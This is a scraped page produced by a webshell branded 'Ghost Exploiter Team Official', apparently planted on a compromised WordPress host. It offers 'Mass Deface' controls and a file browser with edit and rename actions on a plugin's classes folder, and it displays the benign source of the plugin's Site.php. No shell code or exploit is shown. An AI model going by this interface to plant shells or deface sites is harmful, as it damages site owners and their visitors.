webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
public_html11
/
wp-content
/
plugins
/
popup-maker
/
classes
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Abstract
--
ren
Admin
--
ren
Batch
--
ren
DB
--
ren
Extension
--
ren
Integration
--
ren
Interface
--
ren
Model
--
ren
Newsletter
--
ren
Repository
--
ren
Shortcode
--
ren
Site
--
ren
Upgrade
--
ren
Utils
--
ren
Activator.php
0.777KB
edt
ren
Admin.php
3.718KB
edt
ren
Ajax.php
1.661KB
edt
ren
Analytics.php
7.788KB
edt
ren
AssetCache.php
19.966KB
edt
ren
Cache.php
0.246KB
edt
ren
ConditionCallbacks.php
6.349KB
edt
ren
Conditions.php
14.264KB
edt
ren
Cookies.php
7.671KB
edt
ren
DataStorage.php
0.373KB
edt
ren
Deactivator.php
0.58KB
edt
ren
Extensions.php
5.343KB
edt
ren
GA.php
2.313KB
edt
ren
Helpers.php
8.036KB
edt
ren
Install.php
7.925KB
edt
ren
Integrations.php
12.692KB
edt
ren
Licensing.php
7.691KB
edt
ren
ListTable.php
41.079KB
edt
ren
Logging.php
0.26KB
edt
ren
Newsletters.php
8.854KB
edt
ren
Options.php
0.301KB
edt
ren
Popup.php
0.234KB
edt
ren
Popups.php
0.769KB
edt
ren
Previews.php
3.621KB
edt
ren
Privacy.php
16.216KB
edt
ren
Shortcode.php
11.607KB
edt
ren
Shortcodes.php
1.284KB
edt
ren
Site.php
4.671KB
edt
ren
Telemetry.php
10.313KB
edt
ren
Triggers.php
10.325KB
edt
ren
Types.php
7.591KB
edt
ren
Upgrades.php
0.34KB
edt
ren
Upsell.php
7.518KB
edt
ren
index.php
0.113KB
edt
ren
<?php /** * Site class * * @package PopupMaker * @copyright Copyright (c) 2024, Code Atlantic LLC */ /** * Class PUM_Site */ class PUM_Site { public static function init() { PUM_Site_Assets::init(); PUM_Site_Popups::init(); PUM_Analytics::init(); self::add_core_content_filters(); add_action( 'init', [ __CLASS__, 'actions' ] ); } /** * Hook core filters into `pum_popup_content`. */ public static function add_core_content_filters() { global $wp_version; /** * Copied from wp-includes/class-wp-embed.php:32:40 * * @note Hack to get the [embed] shortcode to run before wpautop(). * * @since 1.4 hooks & filters */ add_filter( 'pum_popup_content', [ $GLOBALS['wp_embed'], 'run_shortcode' ], 8 ); add_filter( 'pum_popup_content', [ $GLOBALS['wp_embed'], 'autoembed' ], 8 ); /** * Copied & from wp-includes/default-filters.php:141:144. * * Format WordPress. * * @since 1.10.0 * @sinceWP 5.4 */ foreach ( [ 'pum_popup_content', 'pum_popup_title' ] as $filter ) { add_filter( $filter, 'capital_P_dangit', 11 ); } /** * Copied & from wp-includes/default-filters.php:172:178. * * @since 1.10.0 * @sinceWP 5.4 */ if ( version_compare( $wp_version, '5.0.0', '>=' ) ) { add_filter( 'pum_popup_content', [ __CLASS__, 'do_blocks' ], 9 ); } add_filter( 'pum_popup_content', 'wptexturize' ); add_filter( 'pum_popup_content', 'convert_smilies', 20 ); add_filter( 'pum_popup_content', 'wpautop' ); add_filter( 'pum_popup_content', 'shortcode_unautop' ); add_filter( 'pum_popup_content', 'prepend_attachment' ); if ( version_compare( $wp_version, '5.5', '>=' ) ) { add_filter( 'pum_popup_content', 'wp_filter_content_tags' ); } else { add_filter( 'pum_popup_content', 'wp_make_content_images_responsive' ); } /** * Copied & from wp-includes/default-filters.php:172:178. * * @note Shortcodes must run AFTER wpautop(). * * @since 1.10.0 * @sinceWP 5.4 */ $do_shortcode_handler = pum_get_option( 'disable_shortcode_compatibility_mode' ) ? 'do_shortcode' : [ 'PUM_Helpers', 'do_shortcode' ]; add_filter( 'pum_popup_content', $do_shortcode_handler, 11 ); } /** * Parses dynamic blocks out of `post_content` and re-renders them. * * @since 1.10.0 * @sinceWP 5.0.0 * * @param string $content Post content. * @return string Updated post content. */ public static function do_blocks( $content ) { $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { $output .= render_block( $block ); } // If there are blocks in this content, we shouldn't run wpautop() on it later. $priority = has_filter( 'pum_popup_content', 'wpautop' ); if ( false !== $priority && doing_filter( 'pum_popup_content' ) && has_blocks( $content ) ) { remove_filter( 'pum_popup_content', 'wpautop', $priority ); add_filter( 'pum_popup_content', [ __CLASS__, 'restore_wpautop_hook' ], $priority + 1 ); } return $output; } /** * If do_blocks() needs to remove wpautop() from the `pum_popup_content` filter, this re-adds it afterwards, * for subsequent `pum_popup_content` usage. * * @access private * * @since 1.10.0 * @sinceWP 5.0.0 * * @param string $content The post content running through this filter. * @return string The unmodified content. */ public static function restore_wpautop_hook( $content ) { $current_priority = has_filter( 'pum_popup_content', [ __CLASS__, 'restore_wpautop_hook' ] ); add_filter( 'pum_popup_content', 'wpautop', $current_priority - 1 ); remove_filter( 'pum_popup_content', [ __CLASS__, 'restore_wpautop_hook' ], $current_priority ); return $content; } /** * Hooks Popup Maker actions, when present in the $_GET superglobal. Every popmake_action * present in $_GET is called using WordPress's do_action function. These * functions are called on init. */ public static function actions() { // Ignored because this is validated against an explicit whitelist of actions. // phpcs:ignore WordPress.Security.NonceVerification.Recommended $action = isset( $_REQUEST['pum_action'] ) ? (string) sanitize_key( wp_unslash( $_REQUEST['pum_action'] ) ) : ''; if ( empty( $action ) ) { return; } // Ignored because this data is sanitized before usage further down. // phpcs:ignore WordPress.Security.NonceVerification.Recommended $request = ! empty( $_REQUEST ) ? wp_unslash( $_REQUEST ) : ''; $valid_actions = apply_filters( 'pum_valid_request_actions', [ 'save_enabled_betas', 'download_batch_export', 'empty_error_log', ] ); if ( ! in_array( $action, $valid_actions, true ) || ! has_action( 'pum_' . $action ) ) { return; } do_action( 'pum_' . $action, $request ); } }
<=Back
Liking